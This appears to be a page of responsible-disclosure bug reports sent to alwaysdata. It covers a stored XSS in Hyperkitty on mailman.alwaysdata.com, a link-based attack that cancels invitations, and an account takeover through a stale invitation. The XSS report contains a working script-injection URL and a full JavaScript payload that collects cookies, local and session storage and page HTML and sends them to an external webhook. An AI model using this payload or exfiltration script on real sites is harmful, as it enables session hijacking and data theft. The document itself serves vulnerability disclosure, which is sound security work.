All Projects

From:
Raden Adhiyaksa Indiharto
Security Researcher
Email: radenadhiyaksa89@gmail.com

To:
IT Team, Alwaysdata
https://alwaysdata.com

My name is Raden Adhiyaksa Indiharto, an independent security researcher. I have discovered a Stored Blind Cross-Site Scripting (XSS) vulnerability on the subdomain mailman.alwaysdata.com within the Hyperkitty application.

This vulnerability allows an attacker to inject malicious JavaScript code that is stored and later executed in the browsers of other users or administrators when accessing a specific page.

Vulnerability Details Type of Vulnerability: Stored Blind Cross-Site Scripting (XSS)

Vulnerable Parameter: ?page=

Affected URL:

https://mailman.alwaysdata.com/hyperkitty/?page=%3Cscript%20src%3D%22https%3A%2F%2Fradenadhiyaksa.github.io%2Fbxss-stealth%2Fstealth.js%22%3E%3C%2Fscript%3E&sort=active

Payload (URL Encoded):

<script src="https://radenadhiyaksa.github.io/bxss-stealth/stealth.js"></script>

Impact

• The payload is stored and rendered within the page, executed silently when the vulnerable URL is loaded by other users (admin/user).
• This may allow attackers to steal cookies, hijack sessions, or gather sensitive information stealthily.

Proof of Concept (PoC) I created an external JavaScript file that collects user environment data and sends it to a webhook I control. This demonstrates successful execution of the injected script on the victim’s browser:
stealth.js script:

(function () {
  const data = {
    cookie: document.cookie,
    location: location.href,
    referrer: document.referrer,
    userAgent: navigator.userAgent,
    platform: navigator.platform,
    timezone: Intl.DateTimeFormat().resolvedOptions().timeZone,
    screen: {
      width: screen.width,
      height: screen.height
    },
    localStorage: JSON.stringify(localStorage),
    sessionStorage: JSON.stringify(sessionStorage),
    html: document.documentElement?.outerHTML?.slice(0, 1000),
    ts: new Date().toISOString(),
    id: Math.random().toString(36).substring(2)
  };

  // Kirim via fetch (utama)
  fetch("https://236fb3a628ae3f3aef9dc3bd171c41c6.m.pipedream.net", {
    method: "POST",
    headers: { "Content-Type": "application/json" },
    body: JSON.stringify(data)
  }).catch(() => {
    // Fallback jika fetch gagal
    new Image().src = `https://236fb3a628ae3f3aef9dc3bd171c41c6.m.pipedream.net/?id=${data.id}&url=${encodeURIComponent(location.href)}&ref=${encodeURIComponent(document.referrer)}`;
  });
})();

This script is executed automatically when the vulnerable page is loaded, confirming the presence of stored XSS.

Recommendations

• Sanitize and escape user input in all parameters, especially the page parameter, before rendering them in HTML.
• Implement strict input validation and whitelist allowed characters.
• Use secure templating engines or frameworks that automatically handle escaping to prevent XSS.
• Consider enforcing a strong Content Security Policy (CSP) to restrict script sources.

I hope this report assists in enhancing the security of your platform. Please feel free to contact me if you require any further information or assistance in verifying and fixing this vulnerability.

Thank you for your attention and commitment to security.

Sincerely,
Raden Adhiyaksa Indiharto
Security Researcher
email: radenadhiyaksa89@gmail.com GitHub: https://github.com/radenadhiyaksa

Additional Note: Please let me know if you would like me to proceed with further exploitation and testing to better assess the impact of this vulnerability, or if you prefer to handle the remediation from this point onwards.

Link Video and Picture Proof of Concept [https://drive.google.com/drive/folders/1YcUBTOL5SmuPJ7QkdGXbj3YN3L-v7WHL?usp=sharing]

On-click Delete any invitation in [admin.alwaysdata.com]

*Summary:*
The [Create My Own Site] web application system is vulnerable to a click grabbing attack that allows an attacker to trick the user into deleting invitations that they have sent or received without their knowledge.

*Reproduction steps:*
1. Send an invitation to another user.
2. Receive an invitation and try it on the other account.
3. Get the direct link to the invitation and add the /cancel/ command to the URL.
4. Create an HTML proof-of-concept file with the following content:

Programming Language

<a href="https://admin.alwaysdata.com/transfer/Invitation_Number/cancel/----">Click</a>

5. Host this HTML page or send it via link to the victim.
6. Once the victim clicks on the masked link, the invitation is deleted without their explicit consent or knowledge.

An attacker could use their location and attach an HTML file instead of sending a file that the user clicks.

I have sent a proof of concept:
https://admin.alwaysdata.com/support/77431/374245-bandicam%202024-07-14%2007-00-17-624.mp4

*Impact:*
The exploit allows the deletion of any invitation that the user has sent or reached another user without his consent.

*Vulnerability Summary: Unauthorized Account Takeover via Invitation Exploitation in [admin.alwaysdata.com] Vulnerability Description: A critical security vulnerability was identified in the account invitation process of [Service that allows the user to create a site]. This vulnerability allowed an unauthorized user to gain administrative control over another user's account through the invitation feature. Below is a detailed timeline of events leading to the account takeover: 1. Account Creation: - A user (referred to as User A) created an account on [Service that allows the user to create a site]. 2. Incorrect Invitation: - User A intended to invite a member to become an administrator but mistakenly sent the invitation to another user (User B). 3. Invitation Deletion: - Realizing the mistake, User A promptly deleted the invitation intended for User B. 4. Correct Invitation: - User A subsequently invited their colleague (referred to as User C) to become an administrator of their account. 5. Acceptance by Colleague: - User C accepted the invitation, assuming administrative rights as intended by User A. 6. Unauthorized Acceptance: - Meanwhile, User B, who received the initial invitation in error, noticed the invitation and, potentially unaware of the implications, accepted it. 7. Account Takeover:**

1. By accepting the invitation, User B gained administrative access to User A's account, effectively taking ownership of the account.

I've sent a proof of concept: [REDACTED]

Impact:
Account Takeover